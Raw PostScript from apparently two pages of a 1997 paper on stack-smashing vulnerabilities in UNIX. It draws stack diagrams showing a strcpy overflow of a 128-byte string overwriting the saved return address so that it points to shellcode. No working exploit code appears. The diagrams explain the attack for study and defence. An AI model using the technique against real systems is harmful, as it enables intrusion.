0.200 0 (t)A 9.000 0 32 (o )W -1.000 0 (g)A (u)S -0.400 0 (e)A 8.900 0 32 0.100 0 (ss )D -0.200 0 (w)A (h)S -0.400 0 (e)A -0.300 0 (r)A 9.400 0 32 -0.400 0 (e )D 0.200 0 (t)A (h)S 9.400 0 32 -0.400 0 (e )D 0.100 0 (s)A (h)S -0.400 0 (e)A 0.200 0 (ll)A ; 986 695 N M 1196 1664 rr : 1.000 1.000 1.000 sco O ; 12 Lw 0 Lc 0 Lj solid 0 0 0 sco K : 1540 2065 140 90 rc 0 0 0 sco (F2_66) cvn F2 66 xF F2_66 Ji 1540 2067 M -1.000 0 (b)A -1.674 0 (ss)A ; 980 2195 N M 0 -170 - 6 Lw 1 Lc 1 Lj solid 0 0 0 sco K 2186 2195 N M 0 -170 - 0 0 0 sco K 980 2195 N M 1208 0 - 0 0 0 sco K 980 2363 N M 0 -170 - 0 0 0 sco K 2186 2363 N M 0 -170 - 0 0 0 sco K 980 1359 N M 1208 0 - 0 0 0 sco K 980 691 N M 1206 4 rr : 0.251 0.251 0.251 sco O ; 980 695 N M 1206 6 rr : 0.259 0.259 0.259 sco O ; 980 701 N M 1206 4 rr : 0.267 0.267 0.267 sco O ; 980 705 N M 1206 6 rr : 0.275 0.275 0.275 sco O ; 980 711 N M 1206 4 rr : 0.282 0.282 0.282 sco O ; 980 715 N M 1206 6 rr : 0.290 0.290 0.290 sco O ; 980 721 N M 1206 4 rr : 0.298 0.298 0.298 sco O ; 980 725 N M 1206 6 rr : 0.306 0.306 0.306 sco O ; 980 731 N M 1206 4 rr : 0.314 0.314 0.314 sco O ; 980 735 N M 1206 6 rr : 0.322 0.322 0.322 sco O ; 980 741 N M 1206 6 rr : 0.329 0.329 0.329 sco O ; 980 747 N M 1206 4 rr : 0.337 0.337 0.337 sco O ; 980 751 N M 1206 4 rr : 0.345 0.345 0.345 sco O ; 980 755 N M 1206 6 rr : 0.353 0.353 0.353 sco O ; 980 761 N M 1206 6 rr : 0.361 0.361 0.361 sco O ; 980 767 N M 1206 4 rr : 0.369 0.369 0.369 sco O ; 980 771 N M 1206 6 rr : 0.376 0.376 0.376 sco O ; 980 777 N M 1206 4 rr : 0.384 0.384 0.384 sco O ; 980 781 N M 1206 6 rr : 0.392 0.392 0.392 sco O ; 980 787 N M 1206 4 rr : 0.400 0.400 0.400 sco O ; 980 791 N M 1206 6 rr : 0.408 0.408 0.408 sco O ; 980 797 N M 1206 4 rr : 0.416 0.416 0.416 sco O ; 980 801 N M 1206 6 rr : 0.424 0.424 0.424 sco O ; 980 807 N M 1206 4 rr : 0.431 0.431 0.431 sco O ; 980 811 N M 1206 6 rr : 0.439 0.439 0.439 sco O ; 980 817 N M 1206 6 rr : 0.447 0.447 0.447 sco O ; 980 821 N M 1206 6 rr : 0.455 0.455 0.455 sco O ; 980 827 N M 1206 4 rr : 0.463 0.463 0.463 sco O ; 980 831 N M 1206 6 rr : 0.471 0.471 0.471 sco O ; 980 837 N M 1206 6 rr : 0.478 0.478 0.478 sco O ; 980 841 N M 1206 6 rr : 0.486 0.486 0.486 sco O ; 980 847 N M 1206 6 rr : 0.494 0.494 0.494 sco O ; 980 851 N M 1206 6 rr : 0.502 0.502 0.502 sco O ; 980 857 N M 1206 6 rr : 0.510 0.510 0.510 sco O ; 980 863 N M 1206 4 rr : 0.518 0.518 0.518 sco O ; 980 867 N M 1206 6 rr : 0.525 0.525 0.525 sco O ; 980 871 N M 1206 6 rr : 0.533 0.533 0.533 sco O ; 980 877 N M 1206 6 rr : 0.541 0.541 0.541 sco O ; 980 883 N M 1206 4 rr : 0.549 0.549 0.549 sco O ; 980 887 N M 1206 6 rr : 0.557 0.557 0.557 sco O ; 980 893 N M 1206 4 rr : 0.565 0.565 0.565 sco O ; 980 897 N M 1206 6 rr : 0.573 0.573 0.573 sco O ; 980 903 N M 1206 4 rr : 0.580 0.580 0.580 sco O ; 980 907 N M 1206 6 rr : 0.588 0.588 0.588 sco O ; 980 913 N M 1206 4 rr : 0.596 0.596 0.596 sco O ; 980 917 N M 1206 6 rr : 0.604 0.604 0.604 sco O ; 980 923 N M 1206 4 rr : 0.612 0.612 0.612 sco O ; 980 927 N M 1206 6 rr : 0.620 0.620 0.620 sco O ; 980 933 N M 1206 6 rr : 0.627 0.627 0.627 sco O ; 980 939 N M 1206 4 rr : 0.635 0.635 0.635 sco O ; 980 943 N M 1206 4 rr : 0.643 0.643 0.643 sco O ; 980 947 N M 1206 6 rr : 0.651 0.651 0.651 sco O ; 980 953 N M 1206 6 rr : 0.659 0.659 0.659 sco O ; 980 959 N M 1206 4 rr : 0.667 0.667 0.667 sco O ; 980 963 N M 1206 6 rr : 0.675 0.675 0.675 sco O ; 980 969 N M 1206 4 rr : 0.682 0.682 0.682 sco O ; 980 973 N M 1206 6 rr : 0.690 0.690 0.690 sco O ; 980 979 N M 1206 46 rr : 0.698 0.698 0.698 sco O ; 984 693 N M 1202 332 rr 0 Lc 0 Lj 0 0 0 sco K : 1448 901 340 90 rc 0 0 0 sco %%IncludeFont: Times-Italic (F9) cvn 0.894 (Times-Italic) cvn /Type1 T (Times-Italic) cvn mF (F9_66) cvn F9 66 xF F9_66 Ji 1448 903 M 1.000 0 (u)A 0.326 0 (s)A 0.696 0 (e)A -0.826 0 32 0.326 0 (r s)D -0.348 0 (t)A 1.000 0 (a)A 0.696 0 (ck)A ; 980 1025 N M 1208 0 - 1 Lc 1 Lj 0 0 0 sco K 980 2061 N M 1206 42 rr : 0.698 0.698 0.698 sco O ; 980 2103 N M 1206 4 rr : 0.698 0.698 0.698 sco O ; 980 2107 N M 1206 6 rr : 0.690 0.690 0.690 sco O ; 980 2111 N M 1206 6 rr : 0.682 0.682 0.682 sco O ; 980 2117 N M 1206 4 rr : 0.675 0.675 0.675 sco O ; 980 2121 N M 1206 4 rr : 0.667 0.667 0.667 sco O ; 980 2125 N M 1206 6 rr : 0.659 0.659 0.659 sco O ; 980 2129 N M 1206 6 rr : 0.651 0.651 0.651 sco O ; 980 2135 N M 1206 4 rr : 0.643 0.643 0.643 sco O ; 980 2139 N M 1206 6 rr : 0.635 0.635 0.635 sco O ; 980 2145 N M 1206 4 rr : 0.627 0.627 0.627 sco O ; 980 2149 N M 1206 4 rr : 0.620 0.620 0.620 sco O ; 980 2153 N M 1206 4 rr : 0.612 0.612 0.612 sco O ; 980 2157 N M 1206 6 rr : 0.604 0.604 0.604 sco O ; 980 2161 N M 1206 6 rr : 0.596 0.596 0.596 sco O ; 980 2167 N M 1206 4 rr : 0.588 0.588 0.588 sco O ; 980 2171 N M 1206 4 rr : 0.580 0.580 0.580 sco O ; 980 2175 N M 1206 6 rr : 0.573 0.573 0.573 sco O ; 980 2181 N M 1206 4 rr : 0.565 0.565 0.565 sco O ; 980 2185 N M 1206 4 rr : 0.557 0.557 0.557 sco O ; 980 2189 N M 1206 6 rr : 0.549 0.549 0.549 sco O ; 980 2195 N M 1206 4 rr : 0.541 0.541 0.541 sco O ; 980 2199 N M 1206 4 rr : 0.533 0.533 0.533 sco O ; 980 2203 N M 1206 4 rr : 0.525 0.525 0.525 sco O ; 980 2207 N M 1206 6 rr : 0.518 0.518 0.518 sco O ; 980 2213 N M 1206 4 rr : 0.510 0.510 0.510 sco O ; 980 2217 N M 1206 4 rr : 0.502 0.502 0.502 sco O ; 980 2221 N M 1206 4 rr : 0.494 0.494 0.494 sco O ; 980 2225 N M 1206 6 rr : 0.486 0.486 0.486 sco O ; 980 2231 N M 1206 4 rr : 0.478 0.478 0.478 sco O ; 980 2235 N M 1206 4 rr : 0.471 0.471 0.471 sco O ; 980 2239 N M 1206 4 rr : 0.463 0.463 0.463 sco O ; 980 2243 N M 1206 6 rr : 0.455 0.455 0.455 sco O ; 980 2249 N M 1206 4 rr : 0.447 0.447 0.447 sco O ; 980 2253 N M 1206 4 rr : 0.439 0.439 0.439 sco O ; 980 2257 N M 1206 4 rr : 0.431 0.431 0.431 sco O ; 980 2261 N M 1206 6 rr : 0.424 0.424 0.424 sco O ; 980 2267 N M 1206 4 rr : 0.416 0.416 0.416 sco O ; 980 2271 N M 1206 4 rr : 0.408 0.408 0.408 sco O ; 980 2275 N M 1206 6 rr : 0.400 0.400 0.400 sco O ; 980 2281 N M 1206 4 rr : 0.392 0.392 0.392 sco O ; 980 2285 N M 1206 4 rr : 0.384 0.384 0.384 sco O ; 980 2289 N M 1206 4 rr : 0.376 0.376 0.376 sco O ; 980 2293 N M 1206 6 rr : 0.369 0.369 0.369 sco O ; 980 2299 N M 1206 4 rr : 0.361 0.361 0.361 sco O ; 980 2303 N M 1206 4 rr : 0.353 0.353 0.353 sco O ; 980 2307 N M 1206 4 rr : 0.345 0.345 0.345 sco O ; 980 2311 N M 1206 6 rr : 0.337 0.337 0.337 sco O ; 980 2317 N M 1206 4 rr : 0.329 0.329 0.329 sco O ; 980 2321 N M 1206 4 rr : 0.322 0.322 0.322 sco O ; 980 2325 N M 1206 6 rr : 0.314 0.314 0.314 sco O ; 980 2329 N M 1206 6 rr : 0.306 0.306 0.306 sco O ; 980 2335 N M 1206 4 rr : 0.298 0.298 0.298 sco O ; 980 2339 N M 1206 4 rr : 0.290 0.290 0.290 sco O ; 980 2343 N M 1206 4 rr : 0.282 0.282 0.282 sco O ; 980 2347 N M 1206 6 rr : 0.275 0.275 0.275 sco O ; 980 2353 N M 1206 4 rr : 0.267 0.267 0.267 sco O ; 980 2357 N M 1206 6 rr : 0.259 0.259 0.259 sco O ; 984 2063 N M 1202 298 rr 0 Lc 0 Lj 0 0 0 sco K 980 2195 N M 1208 0 - 22 Lw 1 Lc 1 Lj solid 0 0 0 sco K 980 2061 N M 1208 0 - 6 Lw solid 0 0 0 sco K : 1518 2071 202 90 rc 0 0 0 sco F9_66 Ji 1518 2073 M 1.000 0 (h)A 0.696 0 (e)A 1.000 0 (ap)A ; : 1526 729 176 88 rc 0 0 0 sco F2_66 Ji 1526 731 M 0.696 0 (a)A 0.022 0 (r)A -1.000 0 (g)A -1.304 0 (c)A ; 980 859 N M 1208 0 - 22 Lw solid 0 0 0 sco K : 1540 2243 140 90 rc 0 0 0 sco F2_66 Ji 1540 2245 M -1.000 0 (b)A -1.674 0 (ss)A ; : 511 677 3766 1905 rc 980 689 N M 0 1674 - 12 Lw solid 0 0 0 sco K ; : 511 677 3766 1905 rc 2186 689 N M 0 1674 - 12 Lw solid 0 0 0 sco K ; : 511 677 3766 1905 rc 980 691 N M 1208 0 - 12 Lw solid 0 0 0 sco K ; 980 2361 N M 1208 0 - 12 Lw solid 0 0 0 sco K 980 1193 N M 1208 0 - 6 Lw solid 0 0 0 sco K 980 1793 N M 1208 0 - 0 0 0 sco K : 1362 1937 526 90 rc 0 0 0 sco (F4_66) cvn F4 66 xF F4_66 Ji 1362 1937 M 0.400 0 (shellcode[])A ; : 1522 1235 178 90 rc 0 0 0 sco F4_66 Ji 1522 1235 M 0.400 0 (sfp)A ; : 1522 1069 178 88 rc 0 0 0 sco F4_66 Ji 1522 1069 M 0.400 0 (ret)A ; : 1422 1403 396 90 rc 0 0 0 sco F4_66 Ji 1422 1403 M 0.400 0 (long_ptr)A ; : 1266 2405 732 90 rc 0 0 0 sco F2_66 Ji 1266 2407 M -1.000 0 (b)A -1.304 0 (e)A -1.978 0 (f)A -1.000 0 (o)A 0.022 0 (r)A 0.804 0 32 -1.304 0 (e )D -1.674 0 (s)A -0.348 0 (t)A 0.022 0 (r)A -1.304 0 (c)A -1.000 0 (py)A -0.522 0 32 0.022 0 (\(\) )D -0.348 0 (i)A 1.174 0 32 -1.674 0 (s )D -1.304 0 (c)A 0.696 0 (a)A -0.348 0 (ll)A -1.304 0 (e)A -1.000 0 (d)A ; 980 1927 N M 1208 0 - 0 0 0 sco K : 1242 1803 790 90 rc 0 0 0 sco F4_66 Ji 1242 1803 M 0.400 0 (large_string[128])A ; 980 1661 N M 1208 0 - 0 0 0 sco K 980 1527 N M 1208 0 - 0 0 0 sco K : 1462 1669 308 90 rc 0 0 0 sco F4_66 Ji 1462 1669 M 0.400 0 (buffer)A ; : 1562 1537 90 88 rc 0 0 0 sco F4_66 Ji 1562 1537 M 0.400 0 (i)A ; 982 1425 N M -304 0 - 0 0 0 sco K 680 1425 N M 0 436 - 0 0 0 sco K 678 1859 N M 272 0 - 0 0 0 sco K 938 1877 N M 8 -18 - -8 -18 - 42 18 - -42 18 - C : 0 0 0 sco O ; 880 1691 N M 0 136 - 0 0 0 sco K 982 1693 N M -104 0 - 0 0 0 sco K 878 1827 N M 72 0 - 0 0 0 sco K 938 1845 N M 8 -18 - -8 -18 - 42 18 - -42 18 - C : 0 0 0 sco O ; 878 1893 N M 72 0 - 0 0 0 sco K 938 1911 N M 8 -18 - -8 -18 - 42 18 - -42 18 - C : 0 0 0 sco O ; 880 1891 N M 0 104 - 0 0 0 sco K 982 1993 N M -104 0 - 0 0 0 sco K : 680 1569 264 90 rc 0 0 0 sco F4_66 Ji 680 1569 M 0.400 0 (\(X32\))A ; 2962 695 N M 1196 1664 rr : 1.000 1.000 1.000 sco O ; 12 Lw 0 Lc 0 Lj solid 0 0 0 sco K : 3514 2065 140 90 rc 0 0 0 sco F2_66 Ji 3514 2067 M -1.000 0 (b)A -1.674 0 (ss)A ; 2956 2195 N M 0 -170 - 6 Lw 1 Lc 1 Lj solid 0 0 0 sco K 4160 2195 N M 0 -170 - 0 0 0 sco K 2954 2195 N M 1208 0 - 0 0 0 sco K 2956 2363 N M 0 -170 - 0 0 0 sco K 4160 2363 N M 0 -170 - 0 0 0 sco K 2954 1359 N M 1208 0 - 0 0 0 sco K 2956 691 N M 1206 4 rr : 0.251 0.251 0.251 sco O ; 2956 695 N M 1206 6 rr : 0.259 0.259 0.259 sco O ; 2956 701 N M 1206 4 rr : 0.267 0.267 0.267 sco O ; 2956 705 N M 1206 6 rr : 0.275 0.275 0.275 sco O ; 2956 711 N M 1206 4 rr : 0.282 0.282 0.282 sco O ; 2956 715 N M 1206 6 rr : 0.290 0.290 0.290 sco O ; 2956 721 N M 1206 4 rr : 0.298 0.298 0.298 sco O ; 2956 725 N M 1206 6 rr : 0.306 0.306 0.306 sco O ; 2956 731 N M 1206 4 rr : 0.314 0.314 0.314 sco O ; 2956 735 N M 1206 6 rr : 0.322 0.322 0.322 sco O ; 2956 741 N M 1206 6 rr : 0.329 0.329 0.329 sco O ; 2956 747 N M 1206 4 rr : 0.337 0.337 0.337 sco O ; 2956 751 N M 1206 4 rr : 0.345 0.345 0.345 sco O ; 2956 755 N M 1206 6 rr : 0.353 0.353 0.353 sco O ; 2956 761 N M 1206 6 rr : 0.361 0.361 0.361 sco O ; 2956 767 N M 1206 4 rr : 0.369 0.369 0.369 sco O ; 2956 771 N M 1206 6 rr : 0.376 0.376 0.376 sco O ; 2956 777 N M 1206 4 rr : 0.384 0.384 0.384 sco O ; 2956 781 N M 1206 6 rr : 0.392 0.392 0.392 sco O ; 2956 787 N M 1206 4 rr : 0.400 0.400 0.400 sco O ; 2956 791 N M 1206 6 rr : 0.408 0.408 0.408 sco O ; 2956 797 N M 1206 4 rr : 0.416 0.416 0.416 sco O ; 2956 801 N M 1206 6 rr : 0.424 0.424 0.424 sco O ; 2956 807 N M 1206 4 rr : 0.431 0.431 0.431 sco O ; 2956 811 N M 1206 6 rr : 0.439 0.439 0.439 sco O ; 2956 817 N M 1206 6 rr : 0.447 0.447 0.447 sco O ; 2956 821 N M 1206 6 rr : 0.455 0.455 0.455 sco O ; 2956 827 N M 1206 4 rr : 0.463 0.463 0.463 sco O ; 2956 831 N M 1206 6 rr : 0.471 0.471 0.471 sco O ; 2956 837 N M 1206 6 rr : 0.478 0.478 0.478 sco O ; 2956 841 N M 1206 6 rr : 0.486 0.486 0.486 sco O ; 2956 847 N M 1206 6 rr : 0.494 0.494 0.494 sco O ; 2956 851 N M 1206 6 rr : 0.502 0.502 0.502 sco O ; 2956 857 N M 1206 6 rr : 0.510 0.510 0.510 sco O ; 2956 863 N M 1206 4 rr : 0.518 0.518 0.518 sco O ; 2956 867 N M 1206 6 rr : 0.525 0.525 0.525 sco O ; 2956 871 N M 1206 6 rr : 0.533 0.533 0.533 sco O ; 2956 877 N M 1206 6 rr : 0.541 0.541 0.541 sco O ; 2956 883 N M 1206 4 rr : 0.549 0.549 0.549 sco O ; 2956 887 N M 1206 6 rr : 0.557 0.557 0.557 sco O ; 2956 893 N M 1206 4 rr : 0.565 0.565 0.565 sco O ; 2956 897 N M 1206 6 rr : 0.573 0.573 0.573 sco O ; 2956 903 N M 1206 4 rr : 0.580 0.580 0.580 sco O ; 2956 907 N M 1206 6 rr : 0.588 0.588 0.588 sco O ; 2956 913 N M 1206 4 rr : 0.596 0.596 0.596 sco O ; 2956 917 N M 1206 6 rr : 0.604 0.604 0.604 sco O ; 2956 923 N M 1206 4 rr : 0.612 0.612 0.612 sco O ; 2956 927 N M 1206 6 rr : 0.620 0.620 0.620 sco O ; 2956 933 N M 1206 6 rr : 0.627 0.627 0.627 sco O ; 2956 939 N M 1206 4 rr : 0.635 0.635 0.635 sco O ; 2956 943 N M 1206 4 rr : 0.643 0.643 0.643 sco O ; 2956 947 N M 1206 6 rr : 0.651 0.651 0.651 sco O ; 2956 953 N M 1206 6 rr : 0.659 0.659 0.659 sco O ; 2956 959 N M 1206 4 rr : 0.667 0.667 0.667 sco O ; 2956 963 N M 1206 6 rr : 0.675 0.675 0.675 sco O ; 2956 969 N M 1206 4 rr : 0.682 0.682 0.682 sco O ; 2956 973 N M 1206 6 rr : 0.690 0.690 0.690 sco O ; 2956 979 N M 1206 46 rr : 0.698 0.698 0.698 sco O ; 2958 693 N M 1202 332 rr 0 Lc 0 Lj 0 0 0 sco K : 3422 901 340 90 rc 0 0 0 sco F9_66 Ji 3422 903 M 1.000 0 (u)A 0.326 0 (s)A 0.696 0 (e)A -0.826 0 32 0.326 0 (r s)D -0.348 0 (t)A 1.000 0 (a)A 0.696 0 (ck)A ; 2954 1025 N M 1208 0 - 1 Lc 1 Lj 0 0 0 sco K 2956 2061 N M 1206 42 rr : 0.698 0.698 0.698 sco O ; 2956 2103 N M 1206 4 rr : 0.698 0.698 0.698 sco O ; 2956 2107 N M 1206 6 rr : 0.690 0.690 0.690 sco O ; 2956 2111 N M 1206 6 rr : 0.682 0.682 0.682 sco O ; 2956 2117 N M 1206 4 rr : 0.675 0.675 0.675 sco O ; 2956 2121 N M 1206 4 rr : 0.667 0.667 0.667 sco O ; 2956 2125 N M 1206 6 rr : 0.659 0.659 0.659 sco O ; 2956 2129 N M 1206 6 rr : 0.651 0.651 0.651 sco O ; 2956 2135 N M 1206 4 rr : 0.643 0.643 0.643 sco O ; 2956 2139 N M 1206 6 rr : 0.635 0.635 0.635 sco O ; 2956 2145 N M 1206 4 rr : 0.627 0.627 0.627 sco O ; 2956 2149 N M 1206 4 rr : 0.620 0.620 0.620 sco O ; 2956 2153 N M 1206 4 rr : 0.612 0.612 0.612 sco O ; 2956 2157 N M 1206 6 rr : 0.604 0.604 0.604 sco O ; 2956 2161 N M 1206 6 rr : 0.596 0.596 0.596 sco O ; 2956 2167 N M 1206 4 rr : 0.588 0.588 0.588 sco O ; 2956 2171 N M 1206 4 rr : 0.580 0.580 0.580 sco O ; 2956 2175 N M 1206 6 rr : 0.573 0.573 0.573 sco O ; 2956 2181 N M 1206 4 rr : 0.565 0.565 0.565 sco O ; 2956 2185 N M 1206 4 rr : 0.557 0.557 0.557 sco O ; 2956 2189 N M 1206 6 rr : 0.549 0.549 0.549 sco O ; 2956 2195 N M 1206 4 rr : 0.541 0.541 0.541 sco O ; 2956 2199 N M 1206 4 rr : 0.533 0.533 0.533 sco O ; 2956 2203 N M 1206 4 rr : 0.525 0.525 0.525 sco O ; 2956 2207 N M 1206 6 rr : 0.518 0.518 0.518 sco O ; 2956 2213 N M 1206 4 rr : 0.510 0.510 0.510 sco O ; 2956 2217 N M 1206 4 rr : 0.502 0.502 0.502 sco O ; 2956 2221 N M 1206 4 rr : 0.494 0.494 0.494 sco O ; 2956 2225 N M 1206 6 rr : 0.486 0.486 0.486 sco O ; 2956 2231 N M 1206 4 rr : 0.478 0.478 0.478 sco O ; 2956 2235 N M 1206 4 rr : 0.471 0.471 0.471 sco O ; 2956 2239 N M 1206 4 rr : 0.463 0.463 0.463 sco O ; 2956 2243 N M 1206 6 rr : 0.455 0.455 0.455 sco O ; 2956 2249 N M 1206 4 rr : 0.447 0.447 0.447 sco O ; 2956 2253 N M 1206 4 rr : 0.439 0.439 0.439 sco O ; 2956 2257 N M 1206 4 rr : 0.431 0.431 0.431 sco O ; 2956 2261 N M 1206 6 rr : 0.424 0.424 0.424 sco O ; 2956 2267 N M 1206 4 rr : 0.416 0.416 0.416 sco O ; 2956 2271 N M 1206 4 rr : 0.408 0.408 0.408 sco O ; 2956 2275 N M 1206 6 rr : 0.400 0.400 0.400 sco O ; 2956 2281 N M 1206 4 rr : 0.392 0.392 0.392 sco O ; 2956 2285 N M 1206 4 rr : 0.384 0.384 0.384 sco O ; 2956 2289 N M 1206 4 rr : 0.376 0.376 0.376 sco O ; 2956 2293 N M 1206 6 rr : 0.369 0.369 0.369 sco O ; 2956 2299 N M 1206 4 rr : 0.361 0.361 0.361 sco O ; 2956 2303 N M 1206 4 rr : 0.353 0.353 0.353 sco O ; 2956 2307 N M 1206 4 rr : 0.345 0.345 0.345 sco O ; 2956 2311 N M 1206 6 rr : 0.337 0.337 0.337 sco O ; 2956 2317 N M 1206 4 rr : 0.329 0.329 0.329 sco O ; 2956 2321 N M 1206 4 rr : 0.322 0.322 0.322 sco O ; 2956 2325 N M 1206 6 rr : 0.314 0.314 0.314 sco O ; 2956 2329 N M 1206 6 rr : 0.306 0.306 0.306 sco O ; 2956 2335 N M 1206 4 rr : 0.298 0.298 0.298 sco O ; 2956 2339 N M 1206 4 rr : 0.290 0.290 0.290 sco O ; 2956 2343 N M 1206 4 rr : 0.282 0.282 0.282 sco O ; 2956 2347 N M 1206 6 rr : 0.275 0.275 0.275 sco O ; 2956 2353 N M 1206 4 rr : 0.267 0.267 0.267 sco O ; 2956 2357 N M 1206 6 rr : 0.259 0.259 0.259 sco O ; 2958 2063 N M 1202 298 rr 0 Lc 0 Lj 0 0 0 sco K 2954 2195 N M 1208 0 - 22 Lw 1 Lc 1 Lj solid 0 0 0 sco K 2954 2061 N M 1208 0 - 6 Lw solid 0 0 0 sco K : 3492 2071 202 90 rc 0 0 0 sco F9_66 Ji 3492 2073 M 1.000 0 (h)A 0.696 0 (e)A 1.000 0 (ap)A ; : 3500 729 178 88 rc 0 0 0 sco F2_66 Ji 3500 731 M 0.696 0 (a)A 0.022 0 (r)A -1.000 0 (g)A -1.304 0 (c)A ; 2954 859 N M 1208 0 - 22 Lw solid 0 0 0 sco K : 3514 2243 140 90 rc 0 0 0 sco F2_66 Ji 3514 2245 M -1.000 0 (b)A -1.674 0 (ss)A ; : 511 677 3766 1905 rc 2956 689 N M 0 1674 - 12 Lw solid 0 0 0 sco K ; : 511 677 3766 1905 rc 4160 689 N M 0 1674 - 12 Lw solid 0 0 0 sco K ; : 511 677 3766 1905 rc 2954 691 N M 1208 0 - 12 Lw solid 0 0 0 sco K ; 2954 2361 N M 1208 0 - 12 Lw solid 0 0 0 sco K 2954 1193 N M 1208 0 - 6 Lw solid 0 0 0 sco K 2954 1793 N M 1208 0 - 0 0 0 sco K : 3336 1937 528 90 rc 0 0 0 sco F4_66 Ji 3336 1937 M 0.400 0 (shellcode[])A ; : 3498 1235 176 90 rc 0 0 0 sco F4_66 Ji 3498 1235 M 0.400 0 (sfp)A ; 3498 1271 N M 120 4 rr : 0 0 0 sco O ; : 3498 1069 176 88 rc 0 0 0 sco F4_66 Ji 3498 1069 M 0.400 0 (ret)A ; 3498 1105 N M 120 4 rr : 0 0 0 sco O ; : 3396 1403 396 90 rc 0 0 0 sco F4_66 Ji 3396 1403 M 0.400 0 (long_ptr)A ; 3396 1439 N M 320 4 rr : 0 0 0 sco O ; : 3050 2405 1126 90 rc 0 0 0 sco F2_66 Ji 3050 2407 M 0.696 0 (a)A -1.978 0 (f)A -0.348 0 (t)A -1.304 0 (e)A -0.522 0 32 0.022 0 (r )D -1.674 0 (s)A -0.348 0 (t)A 0.022 0 (r)A -1.304 0 (c)A -1.000 0 (py)A -0.522 0 32 0.022 0 (\(\) )D -0.348 0 (i)A 1.174 0 32 -1.674 0 (s )D -1.304 0 (c)A 0.696 0 (a)A -0.348 0 (ll)A -1.304 0 (e)A -1.000 0 (d)A -0.152 0 32 -0.348 0 (; )D 0.022 0 (r)A -1.304 0 (e)A -0.152 0 32 -0.348 0 (t )D -1.000 0 (ov)A -1.304 0 (e)A 0.022 0 (r)A -1.652 0 (w)A 0.022 0 (r)A -0.348 0 (itt)A -1.304 0 (e)A -1.000 0 (n)A ; 2954 1927 N M 1208 0 - 0 0 0 sco K : 3216 1803 790 90 rc 0 0 0 sco F4_66 Ji 3216 1803 M 0.400 0 (large_string[128])A ; 2954 1661 N M 1208 0 - 0 0 0 sco K 2954 1527 N M 1208 0 - 0 0 0 sco K : 3438 1669 308 90 rc 0 0 0 sco F4_66 Ji 3438 1669 M 0.400 0 (buffer)A ; : 3538 1537 90 88 rc 0 0 0 sco F4_66 Ji 3538 1537 M 0.400 0 (i)A ; 3538 1573 N M 40 4 rr : 0 0 0 sco O ; 2856 1691 N M 0 136 - 0 0 0 sco K 2926 1693 N M -72 0 - 0 0 0 sco K 2914 1711 N M 6 -18 - -6 -18 - 42 18 - -42 18 - C : 0 0 0 sco O ; 2854 1827 N M 104 0 - 0 0 0 sco K 2854 1893 N M 72 0 - 0 0 0 sco K 2914 1911 N M 6 -18 - -6 -18 - 42 18 - -42 18 - C : 0 0 0 sco O ; 2856 1891 N M 0 104 - 0 0 0 sco K 2958 1993 N M -104 0 - 0 0 0 sco K 3324 1761 N M 0 -564 - 12 Lw solid 0 0 0 sco K 3356 1227 N M -32 -12 - -32 12 - 32 -102 - 32 102 - C : 0 0 0 sco O ; : 2996 1241 278 94 rc 0 0 0 sco (F2_84) cvn F2 84 xF F2_84 Ji 2996 1245 M -0.676 0 (s)A 0.648 0 (t)A 2.028 0 (r)A -1.296 0 (c)A (p)S -4.000 0 (y)A ; : 2996 1333 358 96 rc 0 0 0 sco F2_84 Ji 2996 1337 M -2.000 0 (ov)A -1.296 0 (e)A 2.028 0 (r)A -1.972 0 (f)A 0.648 0 (l)A -2.000 0 (o)A -2.648 0 (w)A ; 586 677 N M 6 6 rr : 0 0 0 sco O ; 586 677 N M 6 6 rr : 0 0 0 sco O ; 592 677 N M 3604 6 rr : 0 0 0 sco O ; 4196 677 N M 6 6 rr : 0 0 0 sco O ; 4196 677 N M 6 6 rr : 0 0 0 sco O ; 586 2576 N M 6 6 rr : 0 0 0 sco O ; 586 2576 N M 6 6 rr : 0 0 0 sco O ; 592 2576 N M 3604 6 rr : 0 0 0 sco O ; 4196 2576 N M 6 6 rr : 0 0 0 sco O ; 4196 2576 N M 6 6 rr : 0 0 0 sco O ; 586 683 N M 6 1893 rr : 0 0 0 sco O ; 4196 683 N M 6 1893 rr : 0 0 0 sco O ; LH savelevel1 restore pagesave restore (%%[ Page: 19 ]%%) = %%PageTrailer %%Page: 20 20 %%BeginPageSetup [{ %%BeginFeature: *Duplex %%EndFeature } stopped cleartomark userdict begin /pagesave save def end mysetup concat colspRefresh : 1.000 1.000 1.000 sco 0 0 5100 6600 rf ; userdict begin /savelevel1 save def end %%EndPageSetup : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Bold (F0) cvn 0.904 (Times-Bold) cvn /Type1 T (Times-Bold) cvn mF (F0_83) cvn F0 83 xF F0_83 Ji 612 54 M 0.000 0 (Stack Smashing Vulnerabilities in the UNIX Operating System)A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 3935 54 M 0.337 0 (Page )A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 4128 54 M 0.500 0 (20)A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Roman (F2) cvn 0.892 (Times-Roman) cvn /Type1 T (Times-Roman) cvn mF (F2_83) cvn F2 83 xF F2_83 Ji 2290 6256 M 0.192 0 (May 7, 1997)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_100) cvn F2 100 xF F2_100 Ji 612 504 M -0.400 0 (c)A (od)S 22.400 0 32 -0.400 0 (e )D 0.200 0 (m)A -0.400 0 (a)A 25.000 0 32 -3.000 0 (y )D (b)S 22.400 0 32 -0.400 0 (e )D -0.200 0 (w)A (h)S -0.400 0 (e)A 22.000 0 32 (n )W 0.200 0 (m)A -0.400 0 (a)A (n)S 0.200 0 (i)A (pu)S 0.200 0 (l)A -0.400 0 (a)A 0.200 0 (ti)A (n)S 24.000 0 32 -1.000 0 (g )D 0.200 0 (t)A (h)S 23.400 0 32 -0.400 0 (e )D -0.300 0 (r)A -0.400 0 (e)A 0.200 0 (t)A (u)S -0.300 0 (r)A 23.000 0 32 (n )W -0.400 0 (a)A (dd)S -0.300 0 (r)A -0.400 0 (e)A 0.100 0 (ss)A 23.000 0 32 (. )W -0.100 0 (T)A (h)S 0.200 0 (i)A 22.900 0 32 0.100 0 (s )D -0.400 0 (a)A (pp)S -0.300 0 (r)A (o)S -0.400 0 (ac)A 23.000 0 32 (h, )W -0.400 0 (c)A (o)S 0.200 0 (m)A (b)S 0.200 0 (i)A (n)S -0.400 0 (e)A 23.000 0 32 (d )W -0.200 0 (w)A 0.200 0 (it)A 23.000 0 32 (h )W -0.400 0 (a)A (n)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 681 M -0.400 0 (a)A (pp)S -0.300 0 